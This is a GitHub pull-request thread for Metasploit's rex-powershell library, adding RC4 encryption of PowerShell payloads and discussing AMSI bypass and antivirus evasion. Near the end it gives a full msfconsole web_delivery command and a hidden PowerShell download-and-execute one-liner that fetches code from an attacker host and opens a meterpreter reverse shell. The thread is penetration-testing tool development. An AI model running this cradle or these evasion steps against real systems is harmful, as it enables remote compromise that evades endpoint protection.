Add option to use Invoke-Expression and RC4 #14
Conversation
AMSI needs to be disabled. See: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ This has the advantage of allowing larger payloads, such as a stageless meterpreter. Successfully tested with up-to-date Windows Defender and Kaspersky Total Security.
AMSI needs to be disabled. See: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ This has the advantage of allowing larger payloads, such as a stageless meterpreter. Successfully tested with up-to-date Windows Defender and Kaspersky Total Security.
|
Is the dependency on rc4 a problem? |
|
@AdrianVollmer: I like the obfuscation approach, will try and merge this over the last stuff i added and see what it produces. piece is viable at present to permit use of invoke-expression, i'd like to try and keep the code viable under AMSI if possible, which in this case is likely a matter of replacing the IEX with a &(...) block. This AMSI cat-and-mouse mess will go on ad nauseum, and having the functionality to disable its current incarnation in framework is nice, but i'd rather not have that hiding other things which will trip AMSI soon as disabling it is no longer an option. |
|
@AdrianVollmer I'm still trying to embrace the Ruby lifestyle, but I'm curious about the I have been drawn to understand that my problem was ruby syntax related and rc4 is a builtin, so that begs more questions..... |
|
rex-powershell may need |
|
This should fix the specs: |
|
I'm not sure if it's public, but another metasploit module is also requiring it: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/crypto/rc4.rb I'm also more of a python guy, but @busterb seems to know what he's talking about ;) thanks for the fix, I added the line |
|
My coworkers have another situation right now where they could use this feature. Do you have a timeline on this? Is there something I can do to help get this merged? |
|
Sure, taking a look. Sorry, having this as a separate repo often feels like more of a curse than a blessing in hindsight, for keeping track of things. |
There was a problem hiding this comment.
I've merged this and used it a couple of times with some small changes, it works against 2008R2, 2016 is a bit of a mess with the defender/amsi stuff being all over the place depending on the patch level of the server.
With AMSI however, the IEX stuff doesn't fly. It seems to happily except the use of &(expr) instead of IEX expr, which IIRC were updated last year in this repo.
We can also randomize the var names in the template a bit more to reduce the number of sections they can sign for.
Also, Rex::Powershell knows how to substitute variable and function names (predates the RIG setup), so you can actually generate the PSH with sub_vars and sub_funcs to have it randomize on the fly.
I did a pull from upstream last night, will run this through its paces on current 2016 and 2008R2 this afternoon.
Thanks for updating the thread - notifications are a godsend.
Update template and function names to existing PSH convention for indicating whether the payload is in-memory, removing the IEX name, and indicating which platform it targets.
|
@AdrianVollmer: i've created a PR to your repo updating the naming convention a bit and replacing the IEX bit in another commit. |
On 2016 this produces: "This script contains malicious content and has been blocked by your antivirus software." On 2008R2 this crashes because AMSI doesnt exist. Cull the line entirely, AMSI can be a problem for the PSH harness.
|
So i've gone through this a couple of times and it seems there's something wonky with either the input to the encoder/decryptor, or the decryptor itself. to no effect, the output of ([system.Text.Encoding]::UTF8).GetString((<RANDOM_NAME_FOR_RC4_DECRYPT>([System.Convert]::FromBase64String(" is garbage: I've tried using UTF8 and Unicode, same deal (latter produces question marks). I've also made a few added changes to my PR on this PR, especially removing the AMSI line. In the original version of the B64 trick, the text encoded is Unicode. I tried that as well by calling Rex::text.to_unicode(code) on the encryption op, but decrypted content is still messy (not quite as bad, but much longer obviously since Unicode is wider). I'm guessing the PSH decrypt loop isnt quite working here, since base64 conversion is pretty straight forward... |
|
@sempervictus I may be just not understanding git, but it looks like your PR (AdrianVollmer#1) is targeted to |
|
Yeah, even with manual URL construction GH won't let me MAKE a PR against the correct branch. It only allowed me to pull against @AdrianVollmers master. Sorry about that. |
Dummy PR for moving commits from master to iex-rc4
|
Thanks for the improvements, I merged your branch onto the right one. |
|
Hi, it looks like the conflict resolved in command.rb first. Then probably we need to determine if rapid7/metasploit-framework#11257 (comment) is still a bug? |
|
I resolved the conflict. Not sure what the bug is supposed to be or how to reproduce it. |
|
Reminder to myself (or anyone) The catch here is twofold:
|
|
I believe the RC4 implementations match. As a test, I wrote two small scripts. They both create a sequence of 10000 pseudo random numbers and encrypt them with the key The sha256 hash of both results match: Do you have any other ideas on what to test? Or why exactly do you believe the implementations don't match? |
|
Hey there..... I want to land this, so I brought in the changes locally, updated the gem, and after an hour or so of reversing what this does, I added the rc4 option to |
This options makes use of RC4 for encrypting powershell payloads. See rapid7/rex-powershell#14.
|
Sorry, I should have been clearer. You are using a new method, as if this was an alternative to "reflection" or "dotnet". However, in my opinion, RC4 encryption can be used on top of the method. It does not matter how the shellcode is injected, whether by reflection or by using .NET. The way you use it, I believe shell code ends up directly in a PowerShell script, which obviously cannot be executed. That's what I meant by the option The required commit (which I plan to submit as a pull request to metasploit-framework) can be seen here: AdrianVollmer/metasploit-framework@814c28e This works on Windows 10 with a stageless https payload: I also tested it on a Win7 machine. Unfortunately I do not have an XP machine right now. |
This options makes use of RC4 for obfuscating powershell payloads. See rapid7/rex-powershell#14. Now that the PR in rex-powershell has been merged, I am submitting this PR which provides the new option powershell::exec_rc4 to make use of the functionality added by the other PR. It enables using unstaged payloads in web_delivery and obfuscates everything with RC4. At first I wanted to include an AMSI bypass, but the maintainers were against it, as it is a rapidly moving target. However, please note that I'm using the same idea in another project of mine (https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original AMSI bypass still works when obfuscating each string with RC4. For verification and testing, the following output shows the steps you need to take (here all included in the command line). Obviously, LHOST needs to be adjusted. $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run' [...] 15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) > [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443 [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4 [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4 [*] [2019.10.26-15:43:34] Server started. [*] [2019.10.26-15:43:34] Run the following command on the target machine: powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4'); [*] [2019.10.26-15:43:37] 192.168.11.3 web_delivery - Delivering Payload (372601) bytes [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session... [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200 sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : SYSS-AVOLLMER-W OS : Windows 10 (10.0 Build 18362). Architecture : x64 System Language : de_DE Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
I called this option
exec_no_wrap. I'm not sure if the name is sufficiently descriptive; feel free to change it.AMSI is automatically disabled. See:
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
This also has the advantage of allowing larger payloads, such as a stageless
meterpreter. Encryption of the payload also helps with endpoint protection software that monitors HTTP traffic.
Successfully tested with up-to-date Windows Defender and Kaspersky Total
Security.
Related discussions:
A PR to metasploit-framework adding the advanced option
exec_no_wrapto the web delivery module is planned.